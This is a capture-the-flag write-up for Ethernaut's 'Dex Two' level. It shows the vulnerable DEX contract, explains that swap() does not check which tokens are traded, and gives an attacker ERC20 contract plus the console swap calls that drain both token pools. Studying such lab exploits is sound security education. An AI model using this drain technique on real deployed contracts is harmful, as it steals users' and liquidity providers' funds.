Ethernaut Level 23: Dex Two
Solidity Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
contract DexTwo is Ownable {
using SafeMath for uint;
address public token1;
address public token2;
constructor() public {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function add_liquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapAmount(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public returns(bool){
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
Requirements
- Drain all balances of token1 and token2 from the DexTwo contract to succeed in this level.
Concepts
Hack
The code is similar to Level 22 however, notice that at swap
the line
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
is missing. Basically, the function does not check if the transfer is between token1
and token2
. This means we can create a malicious ERC20 token and swap it for token1
and token2
.
Solution
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract AttackToken is ERC20 {
constructor() ERC20("AttackToken", "ATK") {
_mint(msg.sender, 400);
}
}
We deploy the AttackToken
contract and mint an arbitrary amount of 400 tokens. We also set the following variables in the console for convenience.
const AttackToken = tokenAddress
const token1 = await contract.token1()
const token2 = await contract.token2()
Before we can swap the tokens, we first transfer
100 AttackToken
to the DexTwo
.
Next we approve
the DexTwo
to allow it to spend/transfer AttackToken
.
These can be done through remix.
We then swap 100 ATK
tokens for token1
so that we can completely drain token1
. 100 tokens will be swapped because of how getSwapAmount
works.
await contract.swap(AttackToken, token1, 100)
Finally, we swap 200 ATK
tokens for token2
to drain the Dex.
await contract.swap(AttackToken, token2, 200)
Done!